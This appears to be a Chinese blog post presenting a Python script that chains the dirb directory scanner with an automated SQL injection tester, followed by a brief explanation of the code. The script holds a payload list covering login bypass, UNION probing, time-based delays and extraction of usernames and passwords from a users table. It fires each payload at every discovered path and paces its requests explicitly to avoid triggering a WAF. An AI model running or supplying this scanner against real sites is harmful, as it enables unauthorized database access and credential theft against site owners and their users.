sql注入DIRB版本

用于对目标域名进行目录枚举和 SQL 注入测试。。

import requests
import subprocess
import logging
import time

# 设置日志配置
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

# SQL 注入有效载荷列表
SQL_INJECTION_PAYLOADS = [
    "' OR '1'='1' --",  
    "' OR 'a'='a' --",  
    "' OR 1=1 --",  
    "' AND 1=(SELECT COUNT(*) FROM users) --",  
    "'; SELECT concat(username, ':', password) FROM users --",  
    "'; WAITFOR DELAY '0:0:5'; --",  
    "' OR (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1/0) END) --",  
    "' UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL --",  
    "' AND EXISTS(SELECT * FROM users WHERE username='admin') --",  
    "'; SELECT @@datadir; --",  
]

def run_dirb(target_url):
    """
    运行 dirb 工具来枚举目录.
    :param target_url: 目标URL
    :return: 一个包含发现的目录的列表
    """
    try:
        cmd = ['dirb', target_url]
        result = subprocess.run(cmd, capture_output=True, text=True, check=True)
        
        # 解析 dirb 输出中的目录
        found_dirs = []
        for line in result.stdout.splitlines():
            if line and '/' in line:
                found_dirs.append(line.split(' ')[-1])  # 获取目录部分
        return found_dirs
    except subprocess.CalledProcessError as e:
        logger.error(f"运行 dirb 失败: {e}")
        return []

def test_sql_injection(url, payload):
    """
    测试特定 URL 对 SQL 注入的漏洞.
    :param url: 目标 URL
    :param payload: SQL 注入有效载荷
    :return: 响应内容和状态代码
    """
    try:
        response = requests.get(f"{url}?id={payload}", timeout=5)
        if "error" in response.text.lower() or "mysql" in response.text.lower():
            logger.warning(f"潜在的 SQL 注入点发现 with payload: {payload}")
        elif "admin" in response.text.lower():  # 检测管理用户
            logger.info(f"管理用户可能暴露 with payload: {payload}")
        return response.content, response.status_code
    except requests.exceptions.RequestException as e:
        logger.error(f"请求失败: {e}")
        return None, None

def main(target_url):
    """
    主函数,进行 SQL 注入测试.
    """
    logger.info(f"开始对 {target_url} 进行目录枚举")
    
    # 执行 dirb 工具并获取发现的目录
    discovered_dirs = run_dirb(target_url)
    
    if not discovered_dirs:
        logger.info("未发现任何目录.")
        return
    
    logger.info(f"发现的目录: {discovered_dirs}")

    # 对每个发现的目录进行 SQL 注入测试
    for dir in discovered_dirs:
        for payload in SQL_INJECTION_PAYLOADS:
            target = f"{target_url}{dir}"
            logger.info(f"正在测试 {target} with payload: {payload}")
            response, status_code = test_sql_injection(target, payload)
            if response:
                logger.info(f"响应状态: {status_code}, 响应内容前100字: {response[:100]}")
            time.sleep(1)  # 限制请求速率以避免触发 WAF

if __name__ == "__main__":
    target_url = "http://example.com"  # 替换为目标网站
    main(target_url)

代码解释:

  1. 日z记录:使用 logging 模块记录信息、警告和错误。

  2. SQL 注入有效载荷:定义了一些常见的 SQL 注入有效载荷用于测试。

  3. run_dirb 函数:执行 dirb 工具并解析输出,返回发现的目录列表。

  4. test_sql_injection 函数:尝试对每个目录执行 SQL 注入测试,通过检查响应内容来判断是否存在漏洞。

  5. main 函数:汇总目录枚举和 SQL 注入测试的逻辑,输出发现的目录及其测试结果。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值